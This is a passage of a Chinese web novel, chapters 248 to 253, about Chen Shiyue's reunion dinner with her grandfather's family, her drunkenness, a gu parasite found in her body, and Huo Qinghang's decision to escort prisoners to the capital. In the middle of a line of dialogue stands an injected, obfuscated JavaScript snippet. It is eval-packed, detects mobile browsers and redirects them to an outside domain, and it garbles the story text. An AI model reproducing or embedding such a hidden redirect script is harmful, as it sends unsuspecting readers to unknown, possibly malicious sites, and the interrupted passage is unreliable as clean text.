长辈赐,不可辞。 “我帮着表姐一起。”徐玉莹笑盈盈的开口。 瞧着她快乐的样子,就跟小鸟儿似的,陈识月也跟着开心,环境果然会影响到人,身边的人高高兴兴的,自个瞧着也会跟着高兴。 “先试试这一套水蓝色的吧!”徐玉莹忙道,“我瞧着姐姐气质清丽,这一身水蓝色必定是极好的。姐姐,你快试试!” 王氏瞪了她一眼,“没规矩,这都是给月儿的,由她自个选,你怎么能擅自做主?月儿,你莫要理她,只管挑你自己欢喜的。” 陈识月笑着抚过那一套水蓝色的罗裙,“舅母置办的,自然都是极好的,月儿瞧着都甚是欢喜,这套水蓝色尤为好看,那我就试试,穿给你们看看。” “好!”王氏笑道,“你喜欢就好!” 小丫头那么瘦弱,可见吃了很多苦,一想起她以前过的日子,王氏看着看着就红了眼眶,止不住的鼻子发酸。 多好的姑娘,怎么就遭遇了这么多的事呢? 还好,回家了! 徐玉莹还在叽叽喳喳的说着,陈识月倒是很喜欢她这热络的样子,这才是生命的活力,不像自己这般……枯燥乏味,一如死水。 真好! 外祖父舅舅一家,都好! 第二百四十八章 她喝醉了 晚上吃饭的时候,一桌子人,齐齐整整的。 陈识月的两侧,分别坐着徐敬和霍青行,舅父徐庚则坐在徐敬的另一侧。 足见,徐家对陈识月的看重。 “今日难得阖家团圆,我没想到自己的有生之年,还能见着瑶儿的孩子,自己的亲外孙女。”说到这里,徐敬止不住红了眼眶,哽咽到不成样子,到底是说不出话来。 匆匆相逢,其后又遇见了商家的事,所以祖孙二人其实谈不上有多少交流,毕竟大事要紧,叙旧和别的,都只能暂时放一放。 陈识月赶紧抚着外祖父的脊背,轻轻安抚,“大家能重新聚在一起,那便是天大的福分,必定是母亲在天之灵,见不得我们骨肉分离,所以才会促成今日的阖家团圆。月儿此前漂泊在外,不曾想还有这么多亲人,心里只觉得暖暖的。” 说起这个,王氏眼眶红红的,徐玉莹也跟着抹眼泪,只觉得表姐太不容易了,她几乎无法想象,一个弱女子要怎么在外面生存? 流落在外,孤苦无依。 “以前如何都不重要,重要的是现在的我们还好好的,相聚便是天意。”陈识月端起杯盏。 她不喝酒,但这个场面却是想喝上一些,仿佛只有这样才能让心绪平静。此生有诸家人,亲朋满座,怎不算是圆满呢? “今日能共聚一堂,月儿感恩上苍。”陈识月扬起头,将杯中酒一饮而尽。 见此情形,众人亦是一仰头。 举杯共饮,人生畅快。 霍青行一直在边上坐着,在边上陪着,没有多说什么,只是安安静静的看着她,心疼得五脏六腑都搅着疼,可面上却又不能说什么。 吃过的苦,不会成为荣耀,只会变成烙印在灵魂深处的伤。 谁说感谢苦难的? 只要你肯吃苦,就有吃不完的苦,又什么可感谢的? 是不会享受? 还是不稀罕这荣华富贵? 霍青行心疼她,尤其是看见她喝酒,更是恨不能以身相代。 但长辈在,他到底不好说话,只管小心的照顾着她,往她跟前的碟子里夹菜。 大概大家都心疼陈识月,在陈识月回过神来,桌案上的碟子里,堆满了各式各样的美食,每个人都笑盈盈的,满脸满眼都是疼爱之色。 陈识月不是感性的人,但是这会是真的忍不住,眼泪吧嗒吧嗒往下掉,但却是欢喜的眼泪,是喜极而泣。 霍青行伸手,轻轻擦去她面上的泪,“大家都看着呢!” “我忍不住!”陈识月瓮声瓮气的回答。 霍青行笑了笑,“阖家团圆是好事。” 好事才会哭,别的事……那就得咬牙了。 一顿饭,吃得其乐融融。 林序和安信带着一众兄弟在偏房里吃饭,一群粗汉可想去搅扰了人家团聚的好时光,他们自己也不自在,倒不如另外开一桌,吆五喝六,大声喧哗,都不会影响任何人。 “林副将,你少将军这是要入赘呢?”安信低声问。 一说主子的八卦,满桌子的人瞬时都安静下来,所有人当即竖起耳朵,直勾勾的盯着林序。 林序:“??” 这什么眼神? 一个两个的,这都想干什么? “想什么呢?”林序啐了一口,“你们可都别乱说,别的也就罢了,月大夫那是少将军的心头宝,那叫什么来着?哦,什么白月光,朱砂痣,枕上欢,那什么……” 词不够用。 眼神一扫,林序咂吧着嘴,端起杯盏一饮而尽。 “喝酒就喝酒吧,你说你们操的什么闲心?这要是让少将军知道,咱在背后蛐蛐别人,回去就得让咱罚军棍,到时候挨打挨骂可别找我。” 林序知道,有些话不能多说,毕竟八字还没一撇,若是坏了少将军的事,到时候不得揪掉自己的耳朵? 不敢不敢! “少将军,就透露一点点呗!”安信给林序斟酒。 林序叹口气,“我劝你们一句,少将军的和月大夫的事情,少管少问,少打听,要不然少将军闹起来,可有你们受的。” “少将军和月大夫什么时候成亲呢?”安信问。 林序差点一口酒呛到嗓子眼,止不住咳嗽。 “对啊对啊,什么时候成亲?”老二忙问。 林序:“……” 老三醉醺醺的,“这趁着徐家的人都在,干脆成亲得了!” 林序:“?? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15568549|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 这帮人的胆子可真大,竟然想把少将军直接嫁了? “要不然少将军总惦记着吃不到嘴的肉,动不动就会拿咱撒气,咱的日子也不好过。”老四打了个酒嗝,这下可真的算是醉话了。 林序挠挠头,“真是一个个醉得不轻,少将军这要是在这成了亲,老将军那边不得跳脚?可就这么一个宝贝疙瘩,虽然平日里严加管束,可也没到要送儿子入赘的地步啊!” 少将军可不是一个人,背后还有整个霍家,全体霍家军,他若是要成亲总归是要回去禀报一声的,毕竟父母长辈亲族都还在,哪儿能草率行事? 这帮人,真是撬开脑壳找不到二两肉,一脑的水…… “我再说一句,出了这道门都把嘴巴给我闭严实了,姑娘家的名声还是很要紧的,少将军乐意,月大夫乐意,别到时候旁人的口水不乐意,回头有情人不能终成眷属,你们都有罪。”林序白了众人一眼,不耐烦的开口,“该喝酒就喝酒,该吃肉就吃肉,这么多话……满桌子的好酒好菜都堵不住你们的嘴!” 烦人! 谁不盼着少将军能有情人终成眷属,可陈识月身上还背着国公府一案呢,林序知道内情,倒是能在霍青行面前捣鼓两句,可在别人跟前……那是一句都不敢乱说的。 若是惹出祸来,可就不是男婚女嫁,而是株连九族啊! “吃吃吃!”安信一招呼,“赶紧的,忙了这么多天,咱也松快松快。” 众人不再言语,该吃吃该喝喝。 唯有林序,略带愁容,不知道月大夫找到了母家,住进了徐家,还会不会继续查国公府之事?这要是不查,来日少将军回禀了老将军,可与徐家定下与月大夫的婚事。 但若是继续查,接下来是不是得离开永安县? 这就得看月大夫,舍不得舍得? 林序有点发愁,不说成亲不成亲,咱什么时候能回边关?老将军那边估计愁得连胡子都掉完了吧?哎呦,真是脑瓜子疼,脑瓜子疼啊! 杯酒下肚,算了,明日愁来明日愁,今朝有酒今朝醉。 陈识月,亦醉了! 整个人窝在霍青行的怀里,哼哼唧唧,周遭众人全都屏气凝神,大眼瞪小眼…… 第二百四十九章 他是她最信任的人 醉意上头,陈识月整个人都是迷迷糊糊的,素日里的冷静自持全部消失无踪,取而代之的是对信任之人的依赖。 虽然满桌子坐着的都是自己的至亲至爱,但这么久以来,她已经习惯了对霍青行释放的信任,不管什么时候,第一反应便是对霍青行的依赖。 一路走来,他们是何等默契,那样的相互扶持,互为脊背。 “傻大个。”她迷迷糊糊的开口,“我想睡觉了。” 徐敬:“……” 徐庚:“……” 王氏:“……” 三人面面相觑,倒是徐玉安和徐玉莹兄妹二人,略有些心照不宣的意思,端起杯盏碰杯。 嗨,这不是好事成双吗? 陈识月满面陀红,安安静静的伏在霍青行的怀中,偶尔哼唧两声,就像是嗜睡的猫儿,让人瞧着既欢喜又心疼。 好半晌,徐敬才开口,“月儿不胜酒力,烦劳霍公子……” “嗯!”霍青行赶紧起身,“放心。” 徐庚有些犹豫,“霍公子,你们平日里也这样?” “请舅父放心,外祖父放心,我虽伴着月儿一路走来,却从未做过逾矩之事,没有三媒六聘,没有成亲之前,我绝对不会动月儿半分。”霍青行虽然嘴上会占点便宜,手上也会不由自主,但再进一步却也是不敢的。 一口一个媳妇,但毕竟还没娶进门,他可没打算让她无名无分的就成为他的女人。 霍家妇,必当风风光光,三媒六聘。 这也是为什么,他一直陪着她,一直想查清楚国公府一案,为国公府为陈家翻案的原因,他想让她站在阳光下,让所有人看见她本就是个优秀的女子,而不是仅限于霍氏妇人的名头。 陈识月,他心中的月,是高悬于天际的月亮,哪儿能说摘下就摘下呢? 世人所见,月光倾泻,华光万里,璀璨夺目。 “她先是她自己,再由她自己抉择,是否要嫁我为妻?”霍青行笑得有些无奈,“诸位都是长辈,我也不妨直说,到现在为止她都没有点头,是我一直锲而不舍的追着她跑。说起来,倒是有几分丢人了!月儿,是我求而不得的天边月。” 众人直勾勾的盯着他,瞧着他小心翼翼的抱起陈识月,那般珍之重之,抱她在怀的时候,仿佛连呼吸都缓了下来,生怕惊了她。 “月儿就交给你了!”至此,徐庚松了口气,像是放心了一半,“有你这些话,倒是胜过多少甜言蜜语,真心胜过一切。” 王氏也跟着点头,“快些带着月儿回去吧,喝了酒莫要吹风,要不然酒劲上头就更难受了,我这就让人准备醒酒汤,免得她醒来头疼。” “多谢舅母!”霍青行抱着陈识月,退出了饭厅。 林序吃饱喝足,站在门口张望一眼,恰好瞧见抱着陈识月走进回廊的霍青行,当即冲了上去,“公子,这是怎么了?” “喝醉了。”霍青行抬步就走。 陈识月整个人都窝在霍青行怀中,胳膊无力的垂着,嘴里还一直不断的嘟囔着。 瞧着林序盯着看,霍青行的脸瞬时沉下来,疾步朝前走去。 林序一怔,莫名愣了愣。 怎么瞧着,好像有点生气呢? 霍青行抱着陈识月回了房,小心翼翼的把人放在床榻上,伸手摸了摸她滚烫的面颊,当即拧起了眉头,竟这般不胜酒力吗? 也就两三杯,且这杯盏比之前的要小很多。 徐玉莹已经跟着进来了,打了一盆水,“表姐夫,我给姐姐打了一盆水。” “多谢!”霍青行忙伸手接过,“这里交给我便好,你回去吧!” 徐玉莹颔首,“丫鬟就在外头,若是有事只管喊他们便是。” “好!”霍青行拧了湿帕子,轻轻擦拭着陈识月的面颊。 瞧着如此温馨的场面,徐玉莹眼睛都冒星星,笑得见牙不见眼,慢悠悠的退出了房间。 “如何?”徐玉安在外面候着。 徐玉莹拍拍他的胸脯,“担心什么?表姐夫照顾得极好,这会正你侬我侬呢!听着表姐夫在饭桌上对表姐的剖白,委实叫人感动,若是以后有男儿这般真心实意的待我,我便是死也心甘情愿。” “喂喂喂,醒醒!就你这好吃懒做,能吸引什么样的男儿,自个心里没数吗?”徐玉安轻嗤,“乌龟配王八,冬瓜配水桶,什么锅配什么盖。月儿何其聪慧能干,霍公子出身名门,这才叫郎才女貌。” 徐玉莹扯着唇角白了他一眼,“你干脆说你看不上我得了,非得踩我一脚?来日若有嫂嫂,看我不挑唆嫂嫂揍你?” “你……”徐玉安皱眉。 徐玉莹白了他一眼,头也不回的离开。 徐玉安在门口看了一眼,终是转身离开,还是给二人留独处的空间罢! 一路走来,想必不容易吧! “唉,徐公子,我家少将军他……”林序顿了顿。 徐玉安忙拱手揖礼,“大人放心,没什么事,就是我家表妹吃醉了酒,睡一觉也就醒了,放心放心,你继续吃好喝好,他们的事儿让他们自己处理罢!” 林序挑眉,探头踮起脚看了看。 “走走走!”徐玉安上前,掰转林序,继续朝着饭厅走去,“人家谈情说爱,咱就别凑这个热闹了,免得到时候吃力不讨好。” 林序一想,也对。 少将军方才的脸色不太好,自己这要是凑上去,不是找骂吗? 罢了罢了! “走走走!”徐玉安一直拉拽着林序。 林序只能跟着走了,反正是在徐府,大概也出不了什么大事。 屋内,静悄悄的。 霍青行坐在床边,拧着湿帕子,轻轻擦拭着陈识月的面颊,擦着她的掌心,最后干脆将面颊贴在了她的掌心,略带痴迷的盯着床榻上的人。 巴掌大的小脸,泛着酒后的微红,安安静静的,像是个睡美人。 霍青行定定的看着她,以至于王氏端着醒酒汤进来都无知无觉,他那样武功高强之人,本该警惕心甚重,可此刻满心满眼全是陈识月。 王氏轻轻的将醒酒汤放在桌案上,转身悄无声息的离开,这样的感情应该不至于生出变故吧? 她是女子,又是长辈,自是盼着陈识月能得遇良人,免流离失所之苦,余生有所依,余生有所安,得满心偏爱,得此生圆满。 看样子,得赶紧回去给月儿准备嫁妆,到时候霍家要是来提亲,总归不能让天上的瑶儿担忧,来日必定要送月儿风风光光出嫁…… 第二百五十章 少将军会在永安县久留? 饭厅这边,霍青行抱着陈识月走后,徐敬的脸色微微沉了下来,坐在那里好半晌都没有说话,徐庚冲着王氏使了个眼色,王氏便起身行礼离开。 她得赶紧去看着点,给陈识月熬醒酒汤。 “爹,您是有什么话要说吗?”徐庚看出来了,父亲有心事,而且这心事多半是跟陈识月有关系。 徐敬瞧着徐庚,长长吐出一口气,“月儿的身子,你可清楚?” “啊?”徐庚傻眼了,这是什么问题。 徐敬换了个词儿,“月儿体内有蛊。” 一句话,听着好像能听懂,但听进去之后满脸懵逼。 “爹,您说什么呢?蛊?是我想象的那个蛊吗?”徐庚不敢置信,“就是会动的……蛊虫?” 徐敬点点头。 徐庚噌的一下站起身来,连带着呼吸都紊乱了,“月儿不是大夫吗?平日里不知这些蛊虫的危险?怎么会让自己中了蛊?” “因缘际会,很多事情是没办法提防的。”徐敬叹口气,拿起拄杖慢慢悠悠的走出了花厅,“不管月儿是如何中的蛊,但如今现实已经摆在明面上,该想的事如何解决问题。” 问题既然已经存在,就没有追究的必要。 徐庚明白父亲的意思,只是这蛊虫的问题的确超出了他们的预料,徐家世代行医,甚至于祖上出过好几个太医,徐敬也在金都伺候过,但在这件事情上,的确倍感棘手。 父子二人对视一眼,各自沉默着。 若是连徐敬都没有法子,那徐庚就更没有办法了,也不知道月儿这丫头是怎么招惹上这麻烦的? “爹,那月儿如今的身子……”徐庚有些忧虑,“如何?” 徐敬深吸一口气,“倒是没什么大碍,一切顺遂,只是……迟早生变。” 对于这一点,徐庚心里也很清楚。 不属于自身的物什,被养在身体里太久,且不明药性,不知未来属性,万一哪天吞噬宿主,便是说什么都来不及了。 “咱们跟关外那边的药材商,也不是没有打过交道,只是关于蛊虫这些事情,委实知之甚少。”徐庚眉心紧蹙,“看样子,接下来这些时日,得好好的弄清楚。” 徐敬也是这个意思,“月儿的伤口可以很快愈合,这应该就是那蛊虫的效用,就是不知道这蛊虫叫什么,我想着应该不是什么好东西,这天下若真的有这样的好事,岂非人人都能拥有,挤破脑袋都会去尝试?这里面肯定有常人无法想象的代价。” 天下没有白吃的饭,这是人尽皆知的事情。 那么这代价到底是什么呢? “爹,你放心,我一定会拼尽全力救治月儿,万物相生相克,不可能毫无破绽。”徐庚面色凝重,“哪怕是蛊虫,必定也有忌惮之事,也有自己的克星。” 徐敬点点头,“为父年纪大了,很多事情没办法亲力亲为,只能靠你去做,月儿这条命就交到你手里了,你务必要珍而重之,定要多上心。你妹妹只留下这么一条血脉,不能再有任何的损伤。” 不管怎样,都要保住徐瑶留下的,最后一条根…… “父亲放心!”徐庚行礼。 徐敬缓步朝外走,心事重重,“有你这句话,为父没什么不放心的,只是这心里头……不是滋味,我得静一静。” 静下心好好想一想,自己的那些老友之中,是否有人能解此蛊? 能产生自愈能力,可见这蛊虫早已渗透肌理,与骨血融为一处,肯定不能再用寻常的拔出蛊虫之法,怕是诸多凶险,无法预料。 想到这,徐敬便觉得天都塌了大半。 “我得修书一封。”徐敬想起来一些事,“看看老白能不能在金都找个法子?” 毕竟金都繁华,医术高明的大夫不少,且有不少往来关外的商队,若是能就此打探出什么消息来,倒也不失为好事。 当然,这件事得保密。 徐敬亲眼所见,陈识月身体的异常,这要是让不安好心的人看见,还不知要如何对付她?到时候将她当成怪物,又或者是将她炼制为药人……后果不堪设想。 不过徐家这头还没想好如何医治陈识月,衙门那边倒是有人登门拜访了。 夜里的时候,柳侍郎进了徐家。 林序与安信面面相觑,各自沉默着。 “你说这会过来干什么?是发现了什么?”安信低声问,“知道咱少将军是因为遇见了蛮人行刺,所以……” 林序“嘘”了一声,示意他小心隔墙有耳,莫要说出来。 如果只是冲着少将军来的,那倒是没什么大问题,毕竟少将军是因为军中细作而出,为了追查蛮子的事情,这是军机要务,谁敢往外嚷嚷? 真正要命的是陈识月的身份,是陈家的案子,国公府的通敌叛国之罪…… “林副将?”安信低唤,“你怎么了?” 林序转身,“你们看着点,我去通知少将军。” “是!” “老大,我怎么觉得林副将好像有心事?”老二凑上来,“尤其是少将军和月大夫的事情,总透着一股子怪异,这里面是不是有什么事,是咱不知道的?” 安信白了他一眼,“咱不知道的事儿多了,有什么可奇怪的?别看林副将成日笑嘻嘻,瞧着不着调,可他心里清楚得很!不管少将军和月大夫藏着什么事,咱只要跟准了少将军便是,咱兄弟几个都是尸山血海里出来的,还有事是咱担不起的?” 众人点头,大实话。 天塌了,他们这些弟兄都是可以舍命去顶的! 听得林序言语,说是柳侍郎来了,霍青行眉心微凝,“专门来找我的?” “十有八九。”林序低语,“都递了拜帖。” 专门拜谒。 陈识月这会睡得安稳,霍青行起身朝外走,恰徐玉莹急急忙忙的跑来,“表姐夫,花厅那边……” “我知道了。”霍青行颔首,“帮我看着月儿,我去去就回。” 徐玉莹连连点头。 霍青行抬步就走,尽量早去早回。 花厅。 柳侍郎早已等候多时,因着侍郎官位,徐家父子也在旁候着。 “少将军!”柳侍郎旋即拱手迎上。 霍青行忙不迭回礼,“侍郎大人,怎么这个时辰过来了?” 天黑到访,恐有深意。 柳侍郎笑了笑,“少将军倒是与老将军脾性相似,到哪儿都喜欢直言直语,一点拐弯的机会都不给,本官这点心思,倒是真真藏不住了。” “有什么话,尽管直言。”霍青行拂袖坐定。 柳侍郎面露难色,“少将军是否会在永安县久留?” 霍青行一怔。 第二百五十一章 要对付长乐门?那可不困了 霍青行转过弯来,就明白了柳侍郎的意思。 “查到长乐门头上,发现自己搞不定,就寻思着让咱出个手帮忙?”霍青行端起杯盏浅呷一口,似笑非笑的看向被戳破了窗户纸,一脸尴尬的柳侍郎。 可不得尴尬嘛,这旁边还坐着徐家两位呢! “少将军还真是料事如神,慧眼如炬啊!”柳侍郎无奈的笑了笑,“此前来永安县的路上,就已经遭遇过诸多意外,现如今要赶回金都,这脚程就得快,可快容易出错,来时出错也就是咱们这些人的性命,可若是押解犯人回去,却还是出了错……” 看护不利都是轻的,若是上头有人怀疑,他们跟长乐门或者是跟商家等人勾结,那就是抄家的罪,不知要有多少人的性命得折在这里面。 为了自己的脑袋,也为了家人的脑袋,柳侍郎不得不走这一遭,至少能降低风险。 当初路上,得人相救,那般训练有素,是以…… 柳侍郎直勾勾的盯着霍青行,眸中满是期盼,“咱也知道,霍家驻守边关,很多事情没办法插手,可当初皇上敕令,似乎只是叮嘱霍家军与霍老将军,并未累及霍少将军。霍家在金都也有府邸,有老家奴看管,若说是回家一趟,倒也情有可原。” 边关守军,无召不得回朝,这是惯例。 但也有特殊的时候,那就是回家省亲。 霍家在金都有自己的府邸,里面住的当然是旁支,比如说是伯父,叔父之类的,总归是要有人留在皇帝的眼皮子底下,既是厚待,也是人质。 正所谓将在外,主命有所不受。 人人都知道的道理,皇帝岂会不知? 可拿捏住了将士的家眷,那这主命不受也得受,否则第一刀就会落在家人的身上。 “柳侍郎如何觉得,我会答应呢?”霍青行放下杯盏。 话里话外的意思,已经带着几分拒绝。 纵然要带着陈识月回金都,也不该与朝廷的队伍一起,目标太大,容易让陈识月过早暴露在人前。 “咱没这个把握,但事到如今,也只能来试一试,万一少将军答应了呢?”柳侍郎抬头看了一眼,坐在边上的徐家父子。 霍青行明白他的意思,毕竟永安县又不是没有客栈,非必要,他无需住在徐家,所以这里面肯定有点关系。 徐敬和徐庚对视一眼,虽然平日里治病救人,甚少接触这些官场上的事情,但毕竟是有脑子的,瞧着柳侍郎的态度,再看向霍青行保持沉默的样子,他们便也明白了些许。 柳侍郎只拿徐家,去拿捏霍青行? “长乐门的人,咱也审了很久。”柳侍郎继续道,“穷凶极恶这四个字,已经无法用来形容他们,如此贼人若不上传天听,放任他们继续为祸百姓,只怕天下难安,多少无辜之人都将殒命其手。这等恶贼必须被绳之以法,断不可留。” 如果只是为了他们自己的性命,霍青行未必会动心,但现在,柳侍郎的一番话,倒是让霍青行有了几分动容。 长乐门为祸天下,神龙见首不见尾,所行坏事必定不可数,眼下所见不过冰山一角,若不及时遏制、铲除,来日愈发壮大,与金都贵人勾结,后果不堪设想。 当然,最倒霉的还是手无缚鸡之力的老百姓…… 见着霍青行沉默,柳侍郎乘胜追击,“听说此前长乐门抓了一个姑娘,后来便被端了好几个点,这是长乐门的门人受刑之后说的。” “柳侍郎诸多试探,不就是为了让我带着霍家的人,护送你们回金都吗?”霍青行放下手中的杯盏,意味深长的看向柳侍郎,“容我思量。” 柳侍郎赶紧起身,拱手揖礼,“那就先谢过霍少将军了!” “谢倒是谈不上,等我考虑之后再说。”霍青行摆摆手。 柳侍郎走了,徐庚赶紧去送。 花厅安静下来,只剩下了霍青行和徐敬。 林序和一众仆从都在外面候着,没敢进来,大概也察觉到了自家少将军的不对劲。 “少、少将军……”徐敬嗫嚅着,忽然不知道该如何称呼了。 霍青行起身行礼,“家父在家的时候,惯来唤我阿行,或者是臭小子,您不必如此见外,月儿的外祖父便也是我的外祖父。” 徐敬略显无奈,是个死心眼的。 “柳侍郎所言,有些强人所难。”徐敬还想留着陈识月在身侧,让这前半生颠沛流离,吃尽骨头的外孙女,好好的养在自己身边,“你、你……阿、阿行,你是真的想要送他们回金都?” 看得出来,徐敬是担心霍青行把陈识月带走,可他也清楚,陈识月是独立的人,她的去留该她自己做主,正因为如此,徐敬怕陈识月心软,会跟着霍青行去金都…… “若只是单纯的柳侍郎等人,晚辈自不愿意趟这趟浑水,但如果涉及到长乐门,殃及无辜百姓,我便不能袖手旁观。一人到底势单力薄,可若是送入朝廷,直达天听,结果就不一样了。”霍青行有自己的考量。 徐敬慢慢站起身来,眼底竟流露出了敬佩之色。 想了想,徐敬幽然吐出一口气,“罢了,都是你们年轻人的事情,你们自己抉择,我这老家伙没别的本事,硬骨头也还是有的。” “外祖父!”霍青行当即行礼。 徐敬对他很是满意,“人品贵重,武艺高强,又如此爱重月儿,我这老头子没什么不放心的,你们只管去做你们想做的事情,不必顾虑我们,徐家虽然没什么武将,也没什么所谓的文人风骨,但明辨是非的做人道理,却还是明白的。” “多谢外祖父!”霍青行如释重负。 徐敬道,“这长乐门……” “此前曾袭扰过我与月儿,也曾一路追杀我们。”霍青行一句话。 徐敬的脸色瞬时黑了下来,“别放过他们。” “是!” 目送徐敬拄杖离去的背影,霍青行挺直了脊背。 “少将军,徐老太爷对您好像很满意啊!”林序嘿嘿笑着。 霍青行敛眸,“准备准备,随时去金都。” “真去啊?”林序方才就趴在门外,都听清楚了。 霍青行偏头看他,“长乐门。” “干死他!”林序毫不犹豫,“我马上去准备。” 若是护送柳侍郎回朝,林序是万般不愿,谁想当那劳什子护院,又累又没好处,还得看人脸色,但如果是想对付长乐门,那就有怨报怨、有仇报仇! 霍青行挑眉,上次劫走陈识月的仇,他可都记着呢! 第二百五十二章 待还了陈家清白…… 霍青行回到房间的时候,陈识月正靠坐在床边,倚在徐玉莹的身上,皱着眉头喝着醒酒汤,大概是不好喝,又或者是不舒服的缘故,眉毛都快拧成了一团。 “姐夫!”徐玉莹忙唤了一声。 霍青行赶紧上前,待徐玉莹起身后,兀自坐下来,顶替了她的位置坐着,以便于陈识月能继续靠着。 “姐夫,那我先走了,姐姐就交给你好好照顾了!”徐玉莹可不想当蜡烛,这样好的独处机会,自然是留给有情人的。 屋内,安静下来。 “喝完了?”霍青行接过空碗,“好点没有?” 陈识月耷拉着脑袋,好似依旧醉意不减,但还是乖顺的点了点头。 霍青行扶着她的肩膀,把她放回床榻上,然后起身将空碗置于案头,这才快速转回床沿,还以为她会继续睡,谁知道陈识月却睁着眼。 别看她容色略显迟滞,但眼神还算清明,可见是醒着的,只是喝了酒之后,四肢有点不听使唤,所以才会蔫蔫的。 “不会喝酒,以后就不要碰。”霍青行为她掖了掖被子,“会头疼难受。” 喝醉酒是什么滋味,他们都很清楚,毕竟边关苦寒,也没什么可消遣的活动,除了大口喝酒,大口吃肉,没仗打的时候真的会无聊到发霉。 瞧着她目不转睛的盯着自己,霍青行有点担心,“想吐吗?” “不想。”她终于开口。 见她神思清楚,霍青行如释重负。 没事就好! “让你担心了。”陈识月依旧盯着他看。 霍青行张了张嘴,刚想说点什么,却好似想起了什么,不由得眉心微挑,“徐姑娘说了什么?” “柳侍郎来了。”陈识月挣扎了一下。 霍青行赶紧扶着她坐起来,将软垫塞在她的背后,让她能靠着舒服一些,“你慢慢来,头还晕吗?不要一下子坐起来,容易晕眩恶心,会很难受。” “无事不登三宝殿,柳侍郎是有求于你吧?”她如今醒了酒,还有些难受,但不影响她的思维与理智,“让我想想……是想让你押送囚徒回金都吗?” 霍青行就知道,什么都瞒不过她。 除了睡着的时候,她的脑子一刻都停不下来。 “是!”霍青行如实回答。 陈识月点点头,“情理之中的事情。然后呢?你答应了?” “说不定路上还能碰到长乐门的人。”霍青行握住她微凉的手,“长乐门做了这么多的恶事,若不送回金都,让天下人都知道,让帝王防范,以后还不知要闹成什么样?” 说这话的时候,霍青行小心翼翼的看向陈识月,眼神带着试探的意味。 “霍青行,你不必试探我。”陈识月可没忘记自己的初衷,“我知道自己要做什么。” 从始至终,她都是个分外清醒的人,知道自己在做什么,也知道自己要什么? 正因为如此,霍青行愈发心疼她的懂事与理智。 人不会一下子懂事,只能是无奈之下的妥协与自我保护,学会了分析利弊,然后趋利避害,尽可能的远离伤害。 “你……”霍青行有些犹豫。 陈识月反握住他的手,“离开之后,我便再也没回过金都,恰好趁着这机会,去探探长乐门的底,说不定能找出这位关键的上柳居士。如果找到他,爹和国公府的案子,说不定就有希望了!” 她是懂得宽慰人的。 霍青行点点头,“我也正有此意。” “此前就跟长乐门打过交道,后来还被长乐门的人掳过,这笔账也得算。”陈识月略显愠色,“不能让他们白白欺负了我。” 霍青行也是这个意思。 两人四目相对,相视一笑。 与志同道合、心意相通之人携手并进,再难也觉得舒坦,因为不会拖你后腿,也不会给你负面情绪,让你每日都觉得斗志昂扬,充满希望。 霍青行握紧了陈识月的手,即便这条道再难走,只要两个人不放弃,迟早能看见曙光…… 从房间里退出来的时候,霍青行的嘴角还是带着笑的。 只不过一抬头,恰好瞧见林序在边上嘿嘿傻笑。 “怎么哪块墙角都有你,你是长墙根上了?”霍青行皱了皱眉,小心翼翼的关上房门。 林序挠挠后颈,“那不是……不是担心少将军您吗?出来都这么久的时间了,您要是弄个少夫人回去倒也罢了,这要是最后鸡飞蛋打,竹篮打水一场空,那咱也没法跟老将军交代。您说是不是?” “我的存在,便是你们拿来交代的?”霍青行问。 林序赶紧摆手,“不敢不敢,咱就是提那么一嘴,怕您这一高兴什么的,就给忘了。美娇娘在侧,不能忘了初心呢!” 霍青行抬步往隔壁房间走去,林序赶紧跟上。 “少将军,月大夫是个极好的女子,虽然身世有点坎坷,但她聪慧、睿智,医术高明,若是真的跟着咱一道回边关,对军中将士而言也是一种助力。”林序继续道,“那么好的医术若是不拿来救人,委实浪费了不是?哎哎哎,少将军,卑职是认真的!” 霍青行坐在桌案旁,兀自倒了一杯水,“怎么,我媳妇是给你们娶的?” 林序登时一噎。 话也不能说得这么难听,边关苦寒,除了指定的军医,多数都是草头大夫,那些医术极好的大夫,要么隐居山林,要么厚禄侍君,不是当了府医就是做了太医,又或者是当个游医。 年复一年,日复一日,要在这苦寒之地熬着,有几个人能熬得住?那么多人的生死,战争的残酷,随处可见的断肢残臂,都足以把人逼疯。 林序也有私心的,当年要是有陈识月这样的好大夫,也不至于伤亡惨重,老将军和少将军命悬一线……处处都得靠着运气熬过来。 军中的军医,到底还是太少了! 霍青行当然也知道这一点,所以林序有这个想法,他也没有出声训斥,只是陈识月有她自己的人生,他虽然盼着娶她,可冷静下来又觉得对她不公平。 边关这地方是他誓死捍卫之处,却不是她非去不可的地。 “以后这话少在她跟前说。”霍青行放下手中杯盏,“她不是非要与我绑在一起的,是我死赖着她而已,若是哪天真的到了这一天,全凭她自己抉择。” 林序诧异,“不娶了?” “随时娶。”霍青行白了他一眼,“但眼下不是说这个的时候,若是了却她的心愿,她愿意的话……自然是最好的。” 若不愿…… 待还陈家清白,解她束缚,允她自由。 第二百五十三章 若是去了金都,找他 林序倒是也没说别的,反正是少将军和月大夫的事情,自己只是提个意见而已。 夜里的时候,徐府内的所有人都在辗转难眠。 徐家兄妹如此,徐庚夫妇也是如此。 “夫君是担心月儿要走?”王氏听得出来,枕边人的翻来覆去,“我也担心,这丫头此前在外面过得那叫一个什么日子,一个姑娘家肯定是提心吊胆的,又背上那么多事,瘦得跟麻杆似的。” 想起自己家珠圆玉润的闺女,对比陈识月的消瘦,王氏更心疼得不行。 “月儿若是要走,咱也是没办法的。”徐庚翻个身,幽然轻叹一声,“但是这外头……她一个姑娘家的,我这当舅舅的如何能放心?瑶儿在天之灵,怕也不得安生。” 王氏点头,干脆坐起身来,“要不然咱跟月儿说说,外头不安全,还是待家里头,咱也不是养不起她,何况家中也有医馆药铺的,她若是真的想做点什么,就给她个医馆,让她承了她外祖父的衣钵。这丫头随了她母亲,是个好苗子。” 毕竟,自家那两个不成器的,委实是不上台面。 “我也是这样想的,不过到底如何还得全凭月儿自行定夺,我们能做的只能是托举,不是拖累。”徐庚到底是男儿,有些事情想得更明白,更懂得大局,“霍家那位瞧着是真心的。” 